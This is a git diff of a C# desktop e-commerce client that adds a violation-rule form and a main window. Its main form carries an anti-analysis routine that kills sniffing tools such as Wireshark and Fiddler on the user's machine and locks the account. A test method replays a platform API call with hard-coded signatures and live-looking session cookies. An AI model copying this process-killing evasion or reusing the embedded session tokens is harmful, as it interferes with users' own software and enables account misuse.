0; + if (dataFromDescribe == "产品数据库") + dataFrom = 1; + else if (dataFromDescribe == "店铺在售商品") + dataFrom = 2; + else if (dataFromDescribe == "店铺仓库商品") + dataFrom = 3; + return dataFrom; + } + + private void llSelectAllRule_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + foreach (Control c in flpViolate.Controls) + { + var chk = c as CheckBox; + if (chk != null) + { + chk.Checked = true; + Cb_Click(chk, null); + } + } + } + + private void llSelectSerious_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + foreach (Control c in flpViolate.Controls) + { + var chk = c as CheckBox; + if (chk != null) + { + if (chk.ForeColor == Color.FromArgb(240, 10, 0)) + { + chk.Checked = true; + } + else + { + chk.Checked = false; + } + Cb_Click(chk, null); + } + } + } + + private void llClear_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + foreach (Control c in flpViolate.Controls) + { + var chk = c as CheckBox; + if (chk != null) + { + chk.Checked = false; + Cb_Click(chk, null); + } + } + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/ViolateManageForm.resx b/TEMUKJD/KJDForms/UploadForms/ViolateManageForm.resx new file mode 100644 index 0000000..9faa20e --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/ViolateManageForm.resx @@ -0,0 +1,195 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/MainForm.cs b/TEMUKJD/MainForm.cs new file mode 100644 index 0000000..c41a121 --- /dev/null +++ b/TEMUKJD/MainForm.cs @@ -0,0 +1,1104 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Linq; +using System.Runtime.InteropServices; +using System.Threading; +using System.Timers; +using System.Windows.Forms; +using System.Threading.Tasks; +using CefSharp.WinForms; +using DevComponents.DotNetBar; +using AllBase; +using Work; +using LittleRabbit.UserForm; +using LittleRabbit.LittleRabbitForms.BaseForms; +using LittleRabbit.LittleRabbitForms.ToolForms; +using System.Reflection; +using System.Net; +using System.Collections; +using LittleRabbit.LittleRabbitForms.ShopForms; +using LittleRabbit.LittleRabbitForms.UploadForms; +using LittleRabbit.LittleRabbitForms.OrderForms; +using LittleRabbit.LittleRabbitForms.SystemForms; +using Work.CollectClass; +using Newtonsoft.Json; +using System.Text; +using System.IO; +using CefSharp; +using System.IO.Compression; +using AllBase.Helper; +using LittleRabbit.LittleRabbitForms.CollectForms; +using System.Drawing.Drawing2D; +using NaiBa.CefHelper; +using Newtonsoft.Json.Linq; +using AllBase.Model.Result; +using NaiBa.Util.Extension; +using NaiBa.Util; +using AllBase.Model.Param.ProductManage; +using LittleRabbit.LittleRabbitForms.SalesCenterForms; +using NaiBa.CefHelper.Handler; + +namespace LittleRabbit +{ + public partial class MainForm : Form + { + public static string sCurrentModule = string.Empty; + + private Point mouseOffset;//记录鼠标指针的坐标 + private bool isMouseDown;//记录鼠标左键是否按下 + public delegate void delegateShow(Form nf); + public delegate void delegateView(); + + const int Guying_HTLEFT = 10; + const int Guying_HTRIGHT = 11; + const int Guying_HTTOP = 12; + const int Guying_HTTOPLEFT = 13; + const int Guying_HTTOPRIGHT = 14; + const int Guying_HTBOTTOM = 15; + const int Guying_HTBOTTOMLEFT = 0x10; + const int Guying_HTBOTTOMRIGHT = 17; + + protected override void WndProc(ref Message m) + { + switch (m.Msg) + { + case 0x0084: + base.WndProc(ref m); + Point vPoint = new Point((int)m.LParam & 0xFFFF, + (int)m.LParam >> 16 & 0xFFFF); + vPoint = PointToClient(vPoint); + if (this.WindowState != FormWindowState.Maximized) + { + if (vPoint.X <= 5) + if (vPoint.Y <= 5) + m.Result = (IntPtr)Guying_HTTOPLEFT; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)Guying_HTBOTTOMLEFT; + else m.Result = (IntPtr)Guying_HTLEFT; + else if (vPoint.X >= ClientSize.Width - 5) + if (vPoint.Y <= 5) + m.Result = (IntPtr)Guying_HTTOPRIGHT; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)Guying_HTBOTTOMRIGHT; + else m.Result = (IntPtr)Guying_HTRIGHT; + else if (vPoint.Y <= 5) + m.Result = (IntPtr)Guying_HTTOP; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)Guying_HTBOTTOM; + } + break; + case 0x0201: //鼠标左键按下的消息 + m.Msg = 0x00A1; //更改消息为非客户区按下鼠标 + m.LParam = IntPtr.Zero; //默认值 + m.WParam = new IntPtr(2);//鼠标放在标题栏内 + base.WndProc(ref m); + break; + default: + base.WndProc(ref m); + break; + } + } + + /// + /// 设置窗体的圆角矩形 + /// + /// 需要设置的窗体 + /// 圆角矩形的半径 + public static void SetFormRoundRectRgn(Form form, int rgnRadius) + { + int hRgn = 0; + hRgn = CreateRoundRectRgn(0, 0, form.Width + 1, form.Height + 1, rgnRadius, rgnRadius); + SetWindowRgn(form.Handle, hRgn, true); + DeleteObject(hRgn); + } + + [DllImport("gdi32.dll")] + public static extern int CreateRoundRectRgn(int x1, int y1, int x2, int y2, int x3, int y3); + + [DllImport("user32.dll")] + public static extern int SetWindowRgn(IntPtr hwnd, int hRgn, Boolean bRedraw); + + [DllImport("gdi32.dll", EntryPoint = "DeleteObject", CharSet = CharSet.Ansi)] + public static extern int DeleteObject(int hObject); + + /// + /// 窗体size发生改变时重新设置Region属性 + /// + /// + /// + private void MainForm_Resize(object sender, EventArgs e) + { + // 设置窗口圆角显示 + //SetFormRoundRectRgn(this, 7); + } + + public MainForm() + { + InitializeComponent(); + + this.MaximumSize = new Size(Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height); + } + + public static void CefInit() + { + CefSharpSettings.LegacyJavascriptBindingEnabled = true; + CefSharpSettings.WcfEnabled = false; + + CefSettings settings = new CefSettings(); + //settings.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36"; + //settings.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; + settings.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36"; + settings.CefCommandLineArgs.Add("disable-gpu", "1"); + settings.IgnoreCertificateErrors = true; + settings.Locale = "zh-CN"; + settings.LogSeverity = LogSeverity.Disable; + settings.CachePath = Path.Combine(Environment.CurrentDirectory, "Cache"); + Cef.Initialize(settings); + } + + private void MainForm_Load(object sender, EventArgs e) + { + //CefSettings settings = new CefSettings(); + //settings.CefCommandLineArgs.Add("enable-media-stream", "1"); + //settings.CefCommandLineArgs.Add("allow-running-insecure-content", "1"); + //settings.CefCommandLineArgs.Add("use-fake-ui-for-media-stream", "1"); + //settings.CefCommandLineArgs.Add("enable-speech-input", "1"); + //settings.CefCommandLineArgs.Add("enable-usermedia-screen-capture", "1"); + //settings.CefCommandLineArgs.Add("debug-plugin-loading", "1"); + //settings.CefCommandLineArgs.Add("allow-outdated-plugins", "1"); + //settings.CefCommandLineArgs.Add("always-authorize-plugins", "1"); + //settings.CefCommandLineArgs.Add("disable-web-security", "1"); + //settings.CefCommandLineArgs.Add("enable-npapi", "1"); + //Cef.Initialize(settings); + //var cef = new ChromiumWebBrowser("https://www.bilibili.com"); + //this.Controls.Add(cef); + //cef.BringToFront(); + // + //return; + + Rectangle rect = Screen.GetWorkingArea(this); + int width = rect.Width; + int height = rect.Height; + if (width > 1920 && height > 1040) + { + this.Width = 1920; + this.Height = 1080; + } + else if (width > 1600 && height > 900) + { + this.Width = 1600; + this.Height = 900; + } + else if (width > 1366 && height > 768) + { + this.Width = 1366; + this.Height = 768; + } + this.CenterToScreen(); + + if (BaseClass.LogoImage != null) + pbLogo.Image = BaseClass.LogoImage; + if (BaseClass.Ico != null) + Icon = BaseClass.Ico; + SetTitle(); + + PanelEx[] ps = { pnlMarket, pnlOrder, pnlShop, pnlUpload, pnlTools, pnlCollect }; + foreach (PanelEx p in ps) + p.BackgroundImage = p.Style.BackgroundImage; + + new Thread(Auto).Start(); + new Thread(OpenWebBrower).Start(); + new Thread(AutoGC).Start(); + + var backgroundScheduler = TaskScheduler.Default; + var uiScheduler = TaskScheduler.FromCurrentSynchronizationContext(); + Task.Run(() => { DelCookies(); }) + //.ContinueWith(delegate { new UploadPinduoduoMain("").LoadStock(); }, backgroundScheduler) + .ContinueWith(delegate { loadToken(); }, backgroundScheduler) + //.ContinueWith(delegate { LoadUserAgent(); }, backgroundScheduler) + //.ContinueWith(delegate { refreshPassId(); }, backgroundScheduler) + ; + + // 是否显示联系客服按钮 + if (FileBase.Exists("locales/ig.pak") || FileBase.Exists("locales/wl.pak")) + lblContactSupport.Visible = false; + else + lblContactSupport.Visible = true; + + Task.Run(() => + { + ViolateManageForm.GetAllViolateRuleName(); + GetShopViolation(); + }); + } + + public void SetTitle() + { + lblVersionInfo.Text = BaseClass.ToolName + " V" + BaseClass.Varsion + " - " + BaseClass.NickName; + lblVersionName.Text = "[" + BaseClass.UserVersionString + "]"; + Text = (BaseClass.ShopName + "-" + BaseClass.ToolName).TrimStart('-'); + } + + private void AutoGC() + { + DateTime lastClear = DateTime.Now; + while (true) + { + if (lastClear.AddSeconds(30) < DateTime.Now) + { + lastClear = DateTime.Now; + ClearMemory(); + } +#if DEBUG +#else + AntiGrabbingMechanism(); +#endif + Thread.Sleep(3000); + } + } + + private void LockUserAndKillProcess() + { + string url = BaseClass.BuildObjString("user&act=add_user_lock"); + string data = UserLogin.GetSignaturex("", ""); + string html = GetHtml.PostUtf8(url, data); + Process.GetCurrentProcess().Kill(); + } + public static bool IsUseSystemProxy() + { + BindingFlags bindingAttr = BindingFlags.Instance | BindingFlags.NonPublic; + IWebProxy systemWebProxy = WebRequest.GetSystemWebProxy(); + FieldInfo field1 = systemWebProxy.GetType().GetField("webProxy", bindingAttr); + if (field1 != (FieldInfo)null) + { + WebProxy webProxy = field1.GetValue((object)systemWebProxy) as WebProxy; + FieldInfo field2 = webProxy.GetType().GetField("_ProxyHostAddresses", bindingAttr); + if (field2 != (FieldInfo)null) + { + Hashtable hashtable = field2.GetValue((object)webProxy) as Hashtable; + if (hashtable != null && hashtable.Count > 0) + return true; + } + } + return false; + } + + private void AntiGrabbingMechanism() + { + //Gate 1 - Anti Proxy + if (IsUseSystemProxy()) + { + LockUserAndKillProcess(); + } + + //Gate 2 - Anti Special Processes + System.Diagnostics.Process[] processList = System.Diagnostics.Process.GetProcesses(); + foreach (System.Diagnostics.Process process in processList) + { + try + { + if (_AntiProcesses.Contains(process.ProcessName.ToUpper())) + { + process.Kill(); + LockUserAndKillProcess(); + } + + if (process.MainWindowTitle.Contains("正在捕获")) + { + process.Kill(); + LockUserAndKillProcess(); + } + + if (!IsWin23App(process)) + { + continue; + } + if (process.MainModule?.FileVersionInfo.FileDescription != null) + { + foreach (string antiProcess in _AntiProcesses) + { + if (process.MainModule.FileVersionInfo.FileDescription.ToUpper().Contains(antiProcess)) + { + process.Kill(); + LockUserAndKillProcess(); + } + } + } + } + catch (Exception e) + { + } + } + } + + private List _AntiProcesses = "WIRESHARK,FIDDLER,HTTPDEBUGGERPRO,IEHTTPANALYZER,CHARLES,HTTPWATCH,SMARTSNIFF,MINISNIFFER,PROXIFIER,HTTP ANALYZER,SNIFFER,WSOCKEXPERT,IPANALYSE,ANALYZER,HTTP ANALYZER STAND-ALONE EDITION".Split(',').ToList(); + + public bool IsWin23App(Process process) + { + if (Environment.Is64BitOperatingSystem) + { + IntPtr processHandle; + bool retVal; + + try + { + processHandle = Process.GetProcessById(process.Id).Handle; + } + catch + { + return false; + } + return IsWow64Process(processHandle, out retVal) && retVal; + } + return true; + } + + #region 内存回收 + [DllImport("kernel32.dll", EntryPoint = "SetProcessWorkingSetSize")] + public static extern int SetProcessWorkingSetSize(IntPtr process, int minSize, int maxSize); + [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool IsWow64Process([In] IntPtr process, [Out] out bool wow64Process); + /// + /// 释放内存 + /// + public static void ClearMemory() + { + GC.Collect(); + GC.WaitForPendingFinalizers(); + if (Environment.OSVersion.Platform == PlatformID.Win32NT) + { + SetProcessWorkingSetSize(System.Diagnostics.Process.GetCurrentProcess().Handle, -1, -1); + } + } + #endregion + + /// + /// 通过click事件初始化所有模块,避免首次用户点击一级模块时客户端出现卡顿现象 + /// + private void InitialAllModules() + { + pnlUpload_Click(null, null); + PnlSystem_Click(null, null); + pnlMarket_Click(null, null); + PnlSuNing_Click(null, null); + PnlWeiDian_Click(null, null); + pnlOrder_Click(null, null); + pnlShop_Click(pnlShop, null); + + if (BaseClass.GroupId.Equals(10)) + { + pnlUpload.Location = pnlShop.Location; + foreach (Control c in this.navPanel.Controls) + { + if (c is PanelEx || c is PictureBox) + { + if (c == pnlUpload || c == pbLogo) + c.Visible = true; + else + c.Visible = false; + } + } + pnlUpload_Click(pnlUpload, null); + } + bodyPanel.Visible = true; + } + + private void OpenWebBrower() + { + int count = 0; + while (true) + { + Thread.Sleep(30); + if (count == 1000) + { + count = 0; + } + count++; + if (string.IsNullOrEmpty(BaseClass.WebbrowerUrl)) + continue; + Invoke(new delegateView(OpenUrl)); + } + } + /// + /// 自动打开IE窗口 + /// + private void OpenUrl() + { + IeForm i = new IeForm(BaseClass.WebbrowerUrl); + i.Show(); + BaseClass.WebbrowerUrl = ""; + } + + private void Auto() + { + Thread.Sleep(200); + if (InvokeRequired) + Invoke(new Action(() => { AutoLogin(); })); + else + { + Thread.Sleep(500); + if (InvokeRequired) + Invoke(new Action(() => { AutoLogin(); })); + } + } + + private void AutoLogin() + { + LoginForm login = new LoginForm(); + login.mf = this; + login.TopMost = true; + Task.Run(() => { Thread.Sleep(1000); Invoke(new Action(() => { login.TopMost = false; })); }); + login.ShowDialog(); + } + + private void close_Click(object sender, EventArgs e) + { + if (BaseMsgForm.ShowConfirm("是否关闭客户端?", "系统提示", FormLevel.SMALL).DialogResult.Equals(DialogResult.Cancel)) return; + + Process.GetCurrentProcess().Kill(); + } + + private void navPanel_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + mouseOffset = new Point(-e.X, -e.Y); + isMouseDown = true; + } + } + + private void navPanel_MouseMove(object sender, MouseEventArgs e) + { + if (isMouseDown) + { + //获取鼠标的位置 + Point mousePos = MousePosition; + mousePos.Offset(mouseOffset.X, mouseOffset.Y); + Location = mousePos; + } + } + + private void navPanel_MouseUp(object sender, MouseEventArgs e) + { + isMouseDown = false; + } + + private void min_Click(object sender, EventArgs e) + { + //notifyIcon1.Text = BaseClass.ToolName+ "[" + BaseClass.ShopName+"]"; + WindowState = FormWindowState.Minimized; + ShowInTaskbar = true; + //notifyIcon1.Visible = true; + } + + private void logo_Click(object sender, EventArgs e) + { + // 代理商不跳转 + if (BaseClass.IsMainCompany || BaseClass.Ico != null) + return; + //GetHtml.OpenUrl("http://tool.qixiaoke.com/"); + //GetHtml.OpenUrl("http://www.qimake.cn/xnn/"); + //http://agent-xnt.nai8.net/download/index.html + } + + public void ShowTaobaoLoginAndInitModule() + { + //TaobaoLoginForm t = new TaobaoLoginForm(); + //t.mf = this; + //t.ShowDialog(); + + Invoke(new delegateView(InitialAllModules)); + } + + private OrderForm orderForm; + private void pnlOrder_Click(object sender, EventArgs e) + { + if (orderForm == null) + { + orderForm = new OrderForm(); + } + ShowMainPanel(orderForm, sender as Panel); + } + + private void monitorPanel_Click(object sender, EventArgs e) + { + + } + + /// + /// 显示窗口 + /// + /// + public void ShowFromPanel(Form f) + { + ShowMainPanel(f, null); + } + /// + /// 显示窗口 + /// + /// 窗口 + /// 切换层 marketPanel, fastCarPanel, marketCenterPanel, dataCollectPanel, topPanel, monitorPanel, manageToolsPanel + public void ShowFromPanel(Form f, string pannelName) + { + Panel p = pnlMarket; + switch (pannelName) + { + case "marketPanel": + p = pnlMarket; + break; + + } + ShowMainPanel(f, p); + } + public void ShowMainPanel(Form show, Panel p) + { + show.TopLevel = false; + show.Left = 0; + show.Top = 0; + + show.FormBorderStyle = FormBorderStyle.None; + show.Dock = DockStyle.Fill; + bool had = false; + for (int i = 0; i < bodyPanel.Controls.Count; i++) + { + if (bodyPanel.Controls[i].Name != show.Name) + bodyPanel.Controls[i].Hide(); + } + for (int i = 0; i < bodyPanel.Controls.Count; i++) + { + if (bodyPanel.Controls[i].Name == show.Name) + { + bodyPanel.Controls[i].Show(); + had = true; + } + } + + if (!had) + { + bodyPanel.Controls.Add(show); + show.Show(); + } + if (p == null) + return; + PanelEx[] ps = { pnlMarket, pnlOrder, pnlShop, pnlUpload, pnlTools, pnlCollect }; + foreach (var panel in ps) + { + if (p.Name == panel.Name) + panel.Style.BackgroundImage = panel.StyleMouseOver.BackgroundImage; + else + { + panel.Style.BackgroundImage = panel.BackgroundImage; + } + } + } + + private SalesCenterForm salesCenterForm; + private void pnlMarket_Click(object sender, EventArgs e) + { + if (salesCenterForm == null) + { + salesCenterForm = new SalesCenterForm(); + } + ShowMainPanel(salesCenterForm, sender as Panel); + } + + //internal GoodsCollectForm gcf; + private ShopForm shopForm; + private void pnlShop_Click(object sender, EventArgs e) + { + if (shopForm == null) + { + shopForm = new ShopForm(); + } + ShowMainPanel(shopForm, sender as Panel); + } + + private UploadForm uploadForm; + public void pnlUpload_Click(object sender, EventArgs e) + { + if (uploadForm == null) + { + uploadForm = new UploadForm(); + } + ShowMainPanel(uploadForm, sender as Panel); + } + + private CollectForm collectForm; + private void pnlCollect_Click(object sender, EventArgs e) + { + if (collectForm == null) + { + collectForm = new CollectForm(); + } + ShowMainPanel(collectForm, sender as Panel); + } + + private void max_Click(object sender, EventArgs e) + { + if (WindowState.Equals(FormWindowState.Normal)) + { + WindowState = FormWindowState.Maximized; + max.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.normal; + max.StyleMouseOver.BackgroundImage = global::LittleRabbit.Properties.Resources.normal_hover; + } + else if (WindowState.Equals(FormWindowState.Maximized)) + { + WindowState = FormWindowState.Normal; + max.Style.BackgroundImage = global::LittleRabbit.Properties.Resources.max; + max.StyleMouseOver.BackgroundImage = global::LittleRabbit.Properties.Resources.max_hover; + } + } + + private void plTopRight_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + mouseOffset = new Point(-e.X - this.Width + this.plTopRight.Width, -e.Y); + isMouseDown = true; + } + } + + private void plTopRight_MouseMove(object sender, MouseEventArgs e) + { + if (isMouseDown) + {//获取鼠标的位置 + Point mousePos = MousePosition; + mousePos.Offset(mouseOffset.X, mouseOffset.Y); + Location = mousePos; + } + } + + private void plTopRight_MouseUp(object sender, MouseEventArgs e) + { + isMouseDown = false; + } + + /// + /// 开启无边框Form任务栏图标点击最小化与还原功能 + /// + protected override CreateParams CreateParams + { + get + { + const int WS_MINIMIZEBOX = 0x00020000; // Winuser.h中定义 + CreateParams cp = base.CreateParams; + cp.Style = cp.Style | WS_MINIMIZEBOX; // 允许最小化操作 + return cp; + } + } + + private void navPanel_DoubleClick(object sender, EventArgs e) + { + if (WindowState.Equals(FormWindowState.Normal)) + { + WindowState = FormWindowState.Maximized; + return; + } + if (WindowState.Equals(FormWindowState.Maximized)) + { + WindowState = FormWindowState.Normal; + } + } + + private void plTopRight_DoubleClick(object sender, EventArgs e) + { + if (WindowState.Equals(FormWindowState.Normal)) + { + WindowState = FormWindowState.Maximized; + return; + } + if (WindowState.Equals(FormWindowState.Maximized)) + { + WindowState = FormWindowState.Normal; + } + } + + private SystemForm systemForm; + private void PnlSystem_Click(object sender, EventArgs e) + { + if (systemForm == null) + { + systemForm = new SystemForm(); + } + ShowMainPanel(systemForm, sender as Panel); + } + + private void pbAnnouncement_MouseEnter(object sender, EventArgs e) + { + Cursor = Cursors.Hand; + } + + private void pbAnnouncement_MouseLeave(object sender, EventArgs e) + { + Cursor = Cursors.Default; + } + + private void pbAnnouncement_Click(object sender, EventArgs e) + { + //if (string.IsNullOrEmpty(BaseClass.Annoucement)) return; + //AnnounceForm af = new AnnounceForm(); + //af.ShowDialog(); + } + + private void PicPinDuoDuoToken_Click(object sender, EventArgs e) + { + } + + //private SuNingForm suNingForm; + public void PnlSuNing_Click(object sender, EventArgs e) + { + //if (suNingForm == null) + //{ + // suNingForm = new SuNingForm { mf = this }; + //} + //suNingForm.RefreshUploadQueue(); + //ShowMainPanel(suNingForm, pnlSuNing); + } + + private void lklbGetHwCode_Click(object sender, EventArgs e) + { + //BaseMsgForm.ShowInfo(BaseClass.HardWareCode + Environment.NewLine + BaseClass.HardWareCodeNew + Environment.NewLine + BaseClass.HardWareCodeV3); + } + + private void MainForm_FormClosed(object sender, FormClosedEventArgs e) + { + Process.GetCurrentProcess().Kill(); + } + + //private WeiDianForm weiDianForm; + private void PnlWeiDian_Click(object sender, EventArgs e) + { + //if (weiDianForm == null) + //{ + // weiDianForm = new WeiDianForm { mf = this }; + //} + //ShowMainPanel(weiDianForm, pnlWeiDian); + } + + public void DelCookies() + { + //var cookieManager = Cef.GetGlobalCookieManager(); + //Task deleteTask = cookieManager.DeleteCookiesAsync("taobao.com", null); + //deleteTask.Wait(); + //cookieManager = Cef.GetGlobalCookieManager(); + //deleteTask = cookieManager.DeleteCookiesAsync("tmall.com", null); + //deleteTask.Wait(); + } + + public void loadToken() + { + try + { + string filePath = AppDomain.CurrentDomain.BaseDirectory + "temp/pinduoduo_token"; + if (File.Exists(filePath)) + { + string content = FileBase.ReadAllText(filePath, Encoding.UTF8); + PinduoduoProductCollect.PinDuoDuoTokenList = JsonConvert.DeserializeObject>(content); + } + } + catch { } + if (PinduoduoProductCollect.PinDuoDuoTokenList == null) + { + PinduoduoProductCollect.PinDuoDuoTokenList = new List(); + } + } + + //window.byted_acrawler.sign('', '') + //window.byted_acrawler.init({ + // aid: e, + // dfp: !0, + // boe: !1, + // intercept: !0, + // enablePathList: ["/common/index", "/common/home", "/api/order", "/order/torder", "/order/writeoff", "/order/alarm", "/shopuser/aftersale", "/v1/aftersale", "/v1/order", "/shopuser/tshopuser", "/freight/template", "/shopuser/power", "/shop/promotion", "/product/tproduct", "/qualification/tqualification", "/spec/tspec", "/qualification/tqualification", "/byteshop"] + // }) + private void btnTest_Click(object sender, EventArgs e) + { + //IeForm i = new IeForm("https://fxg.jinritemai.com/login"); + //i.Show(); + MakeRequests(); + } + private void MakeRequests() + { + HttpWebResponse response; + string responseText; + + if (Request_fxg_jinritemai_com(out response)) + { + responseText = ReadResponse(response); + + response.Close(); + } + } + private static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + + private bool Request_fxg_jinritemai_com(out HttpWebResponse response) + { + response = null; + + try + { + //var jsonStr = JSON.stringify(f[1]) + //var jsObj = JSON.parse(jsonStr); + //byted_acrawler.sign('nonce', jsonStr); + string url = "nonce"; + string nonce = @"{""url"":""/product/tproduct/add?appid=1&__token=42da1e0147ed009626111ff00ea6ba59"",""body"":{""check_status"":2,""name"":""女装T恤2"",""description"":""


    "",""market_price"":12900,""discount_price"":9900,""spec_id"":1693733391754247,""category_leaf_id"":20171,""pay_type"":1,""min_buy_num"":1,""product_type"":0,""delivery_delay_date"":0,""presell_type"":0,""spec_prices"":[{""spec_detail_ids"":[""1693733391754279""],""price"":9900,""stock_num"":99,""step_stock_num"":0,""code"":"""",""supplier_id"":"""",""customs_report_info"":{}}],""pic"":[{""url"":""https://sf6-ttcdn-tos.pstatp.com/obj/temai/c83a7a6711f19c975c761361cebc0ed0www800-800""}],""assoc_ids"":"""",""product_format"":{""面料材质"":""其他/others"",""成分含量"":""96%及以上""},""weight_unit"":0,""freight_id"":0,""reduce_type"":1,""quality_map"":{""3457058919409648559"":{""quality_key"":""3457058919409648559"",""quality_name"":""报关单"",""quality_attachments"":[]},""3457058936748903145"":{""quality_key"":""3457058936748903145"",""quality_name"":""委托进口协议"",""quality_attachments"":[]},""3457058945162709852"":{""quality_key"":""3457058945162709852"",""quality_name"":""质检报告"",""quality_attachments"":[]},""6924586049331085575"":{""quality_key"":""6924586049331085575"",""quality_name"":""人物肖像授权资质"",""quality_attachments"":[]}},""stone"":{""remark"":""""},""after_sale_service"":{""supply_7day_return"":""1"",""supply_red_ass_return"":""0"",""supply_allergy_return"":""0""},""delivery_delay_day"":2,""need_check_out"":false,""need_logistics"":true,""poi_resource"":{""condition"":"""",""service_num"":"""",""notification"":"""",""poi_ids"":[],""total_can_use_count"":1},""biz_kind"":0,""appid"":1,""__token"":""42da1e0147ed009626111ff00ea6ba59"",""_lid"":""704967559632""}}"; + //{"url":"/product/tproduct/add?appid=1&__token=42da1e0147ed009626111ff00ea6ba59","body":{"check_status":2,"name":"女装T恤2","description":"


    ","market_price":12900,"discount_price":9900,"spec_id":1693733391754247,"category_leaf_id":20171,"pay_type":1,"min_buy_num":1,"product_type":0,"delivery_delay_date":0,"presell_type":0,"spec_prices":[{"spec_detail_ids":["1693733391754279"],"price":9900,"stock_num":99,"step_stock_num":0,"code":"","supplier_id":"","customs_report_info":{}}],"pic":[{"url":"https://sf6-ttcdn-tos.pstatp.com/obj/temai/c83a7a6711f19c975c761361cebc0ed0www800-800"}],"assoc_ids":"","product_format":{"面料材质":"其他/others","成分含量":"96%及以上"},"weight_unit":0,"freight_id":0,"reduce_type":1,"quality_map":{"3457058919409648559":{"quality_key":"3457058919409648559","quality_name":"报关单","quality_attachments":[]},"3457058936748903145":{"quality_key":"3457058936748903145","quality_name":"委托进口协议","quality_attachments":[]},"3457058945162709852":{"quality_key":"3457058945162709852","quality_name":"质检报告","quality_attachments":[]},"6924586049331085575":{"quality_key":"6924586049331085575","quality_name":"人物肖像授权资质","quality_attachments":[]}},"stone":{"remark":""},"after_sale_service":{"supply_7day_return":"1","supply_red_ass_return":"0","supply_allergy_return":"0"},"delivery_delay_day":2,"need_check_out":false,"need_logistics":true,"poi_resource":{"condition":"","service_num":"","notification":"","poi_ids":[],"total_can_use_count":1},"biz_kind":0,"appid":1,"__token":"42da1e0147ed009626111ff00ea6ba59","_lid":"704967559632"}} + var sign = ""; + sign = "_02B4Z6wo00101HGpX1gAAIDBpm9yItmSDRxxrFvAAHw0uanPHOY8X3-hFaU68iY57I07iRcjdYo.CNVqTMA-KMboPw9pT78-WEfOx4AoS-l2IPhl5cP4wWW9-6qvvq6fq0vTuuRQIrqb4vhE48"; + sign = "_02B4Z6wo00101lsuefgAAIDDjOhUgdaR0RpbK31AAPabI9KWNJfMlPHN.65RxpWH0S4PPjESx01BmvKGVg7uKAgKxeJlwZYIzaDsn20k56iS862iX-S-asjc1ONPZAHC0PnJ4DaxwNttGAFG9f"; + sign = "_02B4Z6wo001017T-p2AAAIDCYziKGdNyOWO026PAAI2BiSrzQ2gTaLSTiAEsi5LaVKIiGU3WtUNFRrICx8Xq7zbj1UdOwqvDHHWZtfNy8QMmlK.SlKv-X3eTKpp7idE6YBfxxrrCBI0pMaIT58"; + //sign = GlobalConfig.DouShopLoginList.FirstOrDefault()?.Signature; + string cookie = @"ttwid=1%7Cn--vVhfZ3AB5VnU0qJCRI6DEqVeEtvQU9yArHD7nu7A%7C1613981515%7C1128cd73944ddb001b658de05cbd92983db88bc78cc719bf48751da692dd76fa; passport_csrf_token=d7c5db20fc44456d0ec76d19dcb88b7d; passport_csrf_token_default=d7c5db20fc44456d0ec76d19dcb88b7d; gfpart_1.0.0.3845_37914=1; gfpart_1.0.0.1128_37936=1; SLARDAR_WEB_ID=4292110529608375; gfpart_1.0.0.451_38593=0; gfpart_1.0.0.456_38884=1; gfpart_1.0.0.3887_38898=0; gfpart_1.0.0.1192_40660=0; gfpart_1.0.0.3931_40707=0; gfpart_1.0.0.476_40795=0; passport_auth_status=fca3746fb0d9dda7757beacbbf73a128%2Cd05ebae2937af562c56e454a6058ddc9; passport_auth_status_ss=fca3746fb0d9dda7757beacbbf73a128%2Cd05ebae2937af562c56e454a6058ddc9; gfpart_1.0.0.3945_41144=0; gfpart_1.0.0.135_41188=0; n_mh=7LrrRmeUceh3vjPZWa4C3h7B_APxodsUr7zuYy75V90; uid_tt=5132d09c095375195717588b4a54ebc3; uid_tt_ss=5132d09c095375195717588b4a54ebc3; sid_tt=f05cfda2c3a3c03e61ab25636662fe29; sessionid=f05cfda2c3a3c03e61ab25636662fe29; sessionid_ss=f05cfda2c3a3c03e61ab25636662fe29; gftoken=ZjA1Y2ZkYTJjM3wxNjE0ODIzODI3Nzh8fDAGBgYGBgY; Hm_lvt_b6520b076191ab4b36812da4c90f7a5e=1614157148,1614591752,1614676343,1614910088; 